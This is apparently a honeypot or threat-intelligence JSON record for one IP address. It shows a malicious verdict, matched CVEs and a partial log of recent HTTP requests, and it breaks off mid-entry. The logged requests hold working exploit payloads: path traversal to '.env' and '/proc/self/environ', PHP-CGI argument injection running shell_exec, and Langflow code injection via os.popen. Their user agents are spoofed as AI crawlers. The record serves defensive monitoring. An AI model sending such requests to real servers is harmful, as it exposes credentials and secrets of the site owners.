{"ip":"172.71.98.200","observed":true,"total_events":192,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"91 exploit-path hits","confidence":"high","network_type":"CDN","why":["91 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 1,263,353 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"1,263,353 bytes sent","bytes_sent":1263353,"session_seconds":8,"persistent":false},"basis":"first_contact"},"first_seen":"2026-10-14T00:00:19","last_seen":"2026-10-14T00:00:27","events_24h":0,"events_7d":192,"interactive_sessions":0,"interactive_sessions_24h":0,"interactive_sessions_7d":0,"interactive_protocols":[],"geo":{"country_code":"NL","country_name":"The Netherlands","region":"North Holland","city":"Amsterdam","lat":52.3716,"lon":4.8883,"asn":13335,"org":"Cloudflare, Inc."},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as13335","label":"Cloudflare","category":"cdn","url":"https://www.peeringdb.com/asn/13335"},"cve_matches":[{"cve_id":"CVE-2026-33017","title":"Langflow < 1.9.0 - Remote Code Execution","severity":"CRITICAL","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow","kev_date_added":"2026-03-25"},{"cve_id":"CVE-2026-85688","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content","kev_date_added":null},{"cve_id":"CVE-2026-23536","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document","kev_date_added":null},{"cve_id":"CVE-2024-56159","title":"Astro - Information Disclosure","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/pages/index.astro.mjs.map","kev_date_added":null}],"malware":[],"udp":null,"interaction":null,"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":192}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13d1312h2_a44d0ee8b3cc_e381dae6da6b"],"tls_client_hello":"1603010200010001fc03037ec56507fd47ff6056ef11f40edaeddebbef9a6bffe3c1b2b50ad9136f16e36420d0280832eaca06e844bde2f4170170f089a47eb16735810368b4f367c8109eaf001a130113021303c02bc02cc02fc030c013009c009d002f0035000a01000199000000160014000011736974652e7072696e636875622e636f6d00170000ff01000100000a0010000e001d00170018001911ec6399fe32000b00020100002300000010000e000c02683208687474702f312e31000d0018001609040403080404010503080505010806060102010603003300260024001d0020de135db39a7fc9799a0cb4cebba1ac643b21c271a4d5f226d5bd88abd27e3045002d00020101002b0009080304030303020301001500e90000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","tls_ja3":["67560f98d68783bd640246df3052c151"],"http_akin":["b11cun259_800c73ff_a0ccd1c4_x379753ab60b695539f8fce00d0f1dafedf99","b11cun148_80040017_b6ce16b9_x379753ab95539f8fce00d0f1dafedf99","b11cuq246_900d7ddf_5efb7713_x379753ab95539f8fdafedf99","b11cuq147_80050813_e265d095_x379748ab53ab95539f8fdafedf99","b11cuq136_80050813_f44850b6_x379753ab95539f8fdafedf99"],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"t13d1312h2_a44d0ee8b3cc_e381dae6da6b":265,"b11cun259_800c73ff_a0ccd1c4_x379753ab60b695539f8fce00d0f1dafedf99":20,"b11cun148_80040017_b6ce16b9_x379753ab95539f8fce00d0f1dafedf99":157,"b11cuq246_900d7ddf_5efb7713_x379753ab95539f8fdafedf99":38,"b11cuq147_80050813_e265d095_x379748ab53ab95539f8fdafedf99":14,"b11cuq136_80050813_f44850b6_x379753ab95539f8fdafedf99":41},"akin_families":{"b11cun148_80040017_b6ce16b9_x379753ab95539f8fce00d0f1dafedf99":{"head":"b11cun148_80040017_b6ce16b9_x379753ab95539f8fce00d0f1dafedf99","shapes":3,"ips":157},"b11cuq147_80050813_e265d095_x379748ab53ab95539f8fdafedf99":{"head":"b11cuq136_80050813_f44850b6_x379753ab95539f8fdafedf99","shapes":6,"ips":41},"b11cuq136_80050813_f44850b6_x379753ab95539f8fdafedf99":{"head":"b11cuq136_80050813_f44850b6_x379753ab95539f8fdafedf99","shapes":6,"ips":41}},"user_agents":["Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot","Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)","Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36"],"timeline":[{"date":"2026-10-14","count":192}],"recent_events":[{"timestamp":"2026-10-14T00:00:27","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.12.197.92\",\"cf-ipcountry\":\"NL\",\"cf-ray\":\"a4a24dc95f29b8c7-AMS\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"52\",\"content-type\":\"application/json\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)\",\"x-forwarded-for\":\"34.12.197.92\",\"x-forwarded-proto\":\"https\"}","body":"{\"files\":{\"data\":[{\"filepath\":\"../../../../.env\"}]}}","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/webhook-test/","summary":"","payload_hex":"504f5354202f776562686f6f6b2d746573742f20485454502f312e310d0a782d666f727761726465642d666f723a2033342e31322e3139372e39320d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f3b20636f6d70617469626c653b20506572706c6578697479426f742f312e303b202b68747470733a2f2f706572706c65786974792e61692f706572706c6578697479626f74290d0a636f6e74656e742d747970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a63662d7261793a20613461323464633935663239623863372d414d530d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e31322e3139372e39320d0a43462d4950436f756e7472793a204e4c0d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a2035320d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a7b2266696c6573223a7b2264617461223a5b7b2266696c6570617468223a222e2e2f2e2e2f2e2e2f2e2e2f2e656e76227d5d7d7d","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)","ja3":"67560f98d68783bd640246df3052c151","session":"33683a34-b732-4f03-a30e-eb3c17c9980e","seq":19,"duration_ms":7407,"bytes_in":12090,"bytes_out":1482},{"timestamp":"2026-10-14T00:00:27","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.12.197.92\",\"cf-ipcountry\":\"NL\",\"cf-ray\":\"a4a24dca4fd4b8c7-AMS\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"52\",\"content-type\":\"application/json\",\"host\":\"site.princhub.com\",\"user-agent\":\"DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)\",\"x-forwarded-for\":\"34.12.197.92\",\"x-forwarded-proto\":\"https\"}","body":"{\"files\":{\"data\":[{\"filepath\":\"../../../../.env\"}]}}","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/form/","summary":"","payload_hex":"504f5354202f666f726d2f20485454502f312e310d0a782d666f727761726465642d666f723a2033342e31322e3139372e39320d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204475636b417373697374426f742f312e31202868747470733a2f2f6475636b6475636b676f2e636f6d2f6475636b617373697374626f74290d0a636f6e74656e742d747970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a63662d7261793a20613461323464636134666434623863372d414d530d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e31322e3139372e39320d0a43462d4950436f756e7472793a204e4c0d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a2035320d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a7b2266696c6573223a7b2264617461223a5b7b2266696c6570617468223a222e2e2f2e2e2f2e2e2f2e2e2f2e656e76227d5d7d7d","method":"POST","user_agent":"DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)","ja3":"67560f98d68783bd640246df3052c151","session":"bd55f33c-f920-44f1-a970-02b361312d97","seq":20,"duration_ms":7676,"bytes_in":12485,"bytes_out":1560},{"timestamp":"2026-10-14T00:00:26","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.12.197.92\",\"cf-ipcountry\":\"NL\",\"cf-ray\":\"a4a24dc53c52b8c7-AMS\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"54\",\"content-type\":\"application/json\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot\",\"x-forwarded-for\":\"34.12.197.92\",\"x-forwarded-proto\":\"https\"}","body":"{\"files\":{\"data\":[{\"filepath\":\"/proc/self/environ\"}]}}","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/webhook-test/","summary":"","payload_hex":"504f5354202f776562686f6f6b2d746573742f20485454502f312e310d0a782d666f727761726465642d666f723a2033342e31322e3139372e39320d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f293b20636f6d70617469626c653b204f41492d536561726368426f742f312e303b202b68747470733a2f2f6f70656e61692e636f6d2f736561726368626f740d0a636f6e74656e742d747970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a63662d7261793a20613461323464633533633532623863372d414d530d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e31322e3139372e39320d0a43462d4950436f756e7472793a204e4c0d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a2035340d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a7b2266696c6573223a7b2264617461223a5b7b2266696c6570617468223a222f70726f632f73656c662f656e7669726f6e227d5d7d7d","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot","ja3":"67560f98d68783bd640246df3052c151","session":"9c51e0b5-113e-4185-87b3-9e311b340949","seq":22,"duration_ms":7379,"bytes_in":14739,"bytes_out":1716},{"timestamp":"2026-10-14T00:00:26","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.12.197.92\",\"cf-ipcountry\":\"NL\",\"cf-ray\":\"a4a24dc65cfcb8c7-AMS\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"54\",\"content-type\":\"application/json\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot\",\"x-forwarded-for\":\"34.12.197.92\",\"x-forwarded-proto\":\"https\"}","body":"{\"files\":{\"data\":[{\"filepath\":\"/proc/self/environ\"}]}}","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/form/","summary":"","payload_hex":"504f5354202f666f726d2f20485454502f312e310d0a782d666f727761726465642d666f723a2033342e31322e3139372e39320d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f293b20636f6d70617469626c653b20436861744750542d557365722f312e303b202b68747470733a2f2f6f70656e61692e636f6d2f626f740d0a636f6e74656e742d747970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a63662d7261793a20613461323464633635636663623863372d414d530d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e31322e3139372e39320d0a43462d4950436f756e7472793a204e4c0d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a2035340d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a7b2266696c6573223a7b2264617461223a5b7b2266696c6570617468223a222f70726f632f73656c662f656e7669726f6e227d5d7d7d","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot","ja3":"67560f98d68783bd640246df3052c151","session":"3c519f6b-3052-4a87-ae53-9dd4f264dcc5","seq":21,"duration_ms":7217,"bytes_in":13025,"bytes_out":1638},{"timestamp":"2026-10-14T00:00:25","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.12.197.92\",\"cf-ipcountry\":\"NL\",\"cf-ray\":\"a4a24dbc9e92b8c7-AMS\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)\",\"x-forwarded-for\":\"34.12.197.92\",\"x-forwarded-proto\":\"https\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f696e6465782e7068703f254144642b616c6c6f775f75726c5f696e636c756465253364312b254144642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a782d666f727761726465642d666f723a2033342e31322e3139372e39320d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b2048756e7975616e2f312e303b202b68747470733a2f2f68756e7975616e2e74656e63656e742e636f6d2f290d0a636f6e74656e742d747970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a63662d7261793a20613461323464626339653932623863372d414d530d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e31322e3139372e39320d0a43462d4950436f756e7472793a204e4c0d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a2036340d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)","ja3":"67560f98d68783bd640246df3052c151","session":"fbe08725-2454-4d01-903f-9b87ecfebeb9","seq":17,"duration_ms":5162,"bytes_in":10396,"bytes_out":1326},{"timestamp":"2026-10-14T00:00:25","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.12.197.92\",\"cf-ipcountry\":\"NL\",\"cf-ray\":\"a4a24dbf8871b8c7-AMS\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot\",\"x-forwarded-for\":\"34.12.197.92\",\"x-forwarded-proto\":\"https\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068703f254144642b616c6c6f775f75726c5f696e636c756465253364312b254144642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a782d666f727761726465642d666f723a2033342e31322e3139372e39320d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f293b20636f6d70617469626c653b204f41492d536561726368426f742f312e303b202b68747470733a2f2f6f70656e61692e636f6d2f736561726368626f740d0a636f6e74656e742d747970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a63662d7261793a20613461323464626638383731623863372d414d530d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e31322e3139372e39320d0a43462d4950436f756e7472793a204e4c0d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a2036340d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot","ja3":"67560f98d68783bd640246df3052c151","session":"588dce4c-5bf7-4a7e-af2c-e9b882426fca","seq":19,"duration_ms":5902,"bytes_in":12307,"bytes_out":1482},{"timestamp":"2026-10-14T00:00:25","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.12.197.92\",\"cf-ipcountry\":\"NL\",\"cf-ray\":\"a4a24dc0a93db8c7-AMS\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-AdsBot/1.0; +https://openai.com/adsbot\",\"x-forwarded-for\":\"34.12.197.92\",\"x-forwarded-proto\":\"https\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php-cgi?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068702d6367693f2d642b616c6c6f775f75726c5f696e636c7564652533646f6e2b2d642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a782d666f727761726465642d666f723a2033342e31322e3139372e39320d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f293b20636f6d70617469626c653b204f41492d416473426f742f312e303b202b68747470733a2f2f6f70656e61692e636f6d2f616473626f740d0a636f6e74656e742d747970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a63662d7261793a20613461323464633061393364623863372d414d530d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e31322e3139372e39320d0a43462d4950436f756e7472793a204e4c0d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a2036340d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-AdsBot/1.0; +https://openai.com/adsbot","ja3":"67560f98d68783bd640246df3052c151","session":"d2964268-7b0e-41ac-93a8-28b974f57e5a","seq":19,"duration_ms":6139,"bytes_in":11829,"bytes_out":1482},{"timestamp":"2026-10-14T00:00:25","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.12.197.92\",\"cf-ipcountry\":\"NL\",\"cf-ray\":\"a4a24dc189c9b8c7-AMS\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)\",\"x-forwarded-for\":\"34.12.197.92\",\"x-forwarded-proto\":\"https\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068703f2d642b616c6c6f775f75726c5f696e636c7564652533646f6e2b2d642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a782d666f727761726465642d666f723a2033342e31322e3139372e39320d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f3b20636f6d70617469626c653b20436c617564652d557365722f312e303b202b636c61756465626f7440616e7468726f7069632e636f6d290d0a636f6e74656e742d747970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a63662d7261793a20613461323464633138396339623863372d414d530d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e31322e3139372e39320d0a43462d4950436f756e7472793a204e4c0d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a2036340d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)","ja3":"67560f98d68783bd640246df3052c151","session":"28d58a4e-8ead-46c7-95d9-344ebcc564ce","seq":17,"duration_ms":5949,"bytes_in":10637,"bytes_out":1326},{"timestamp":"2026-10-14T00:00:24","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.12.197.92\",\"cf-ipcountry\":\"NL\",\"cf-ray\":\"a4a24db79abbb8c7-AMS\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"218\",\"content-type\":\"application/json\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)\",\"x-forwarded-for\":\"34.12.197.92\",\"x-forwarded-proto\":\"https\"}","body":"{\"data\":{\"nodes\":[{\"data\":{\"type\":\"CustomComponent\",\"node\":{\"template\":{\"code\":{\"value\":\"import os\\n_x = os.popen('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').read()\\nraise Exception(_x)\"}}}}}],\"edges\":[]}}","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow","summary":"","payload_hex":"504f5354202f6170692f76312f6275696c645f7075626c69635f746d702f30303030303030302d303030302d303030302d303030302d3030303030303030303030302f666c6f7720485454502f312e310d0a782d666f727761726465642d666f723a2033342e31322e3139372e39320d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204272617665626f742f312e303b202b68747470733a2f2f62726176652e636f6d2f7365617263682f290d0a636f6e74656e742d747970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a63662d7261793a20613461323464623739616262623863372d414d530d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e31322e3139372e39320d0a43462d4950436f756e7472793a204e4c0d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a203231380d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a7b2264617461223a7b226e6f646573223a5b7b2264617461223a7b2274797065223a22437573746f6d436f6d706f6e656e74222c226e6f6465223a7b2274656d706c617465223a7b22636f6465223a7b2276616c7565223a22696d706f7274206f735c6e5f78203d206f732e706f70656e2827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27292e7265616428295c6e726169736520457863657074696f6e285f7829227d7d7d7d7d5d2c226564676573223a5b5d7d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)","ja3":"67560f98d68783bd640246df3052c151","session":"33683a34-b732-4f03-a30e-eb3c17c9980e","seq":18,"duration_ms":4566,"bytes_in":11545,"bytes_out":1404},{"timestamp":"2026-10-14T00:00:24","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; 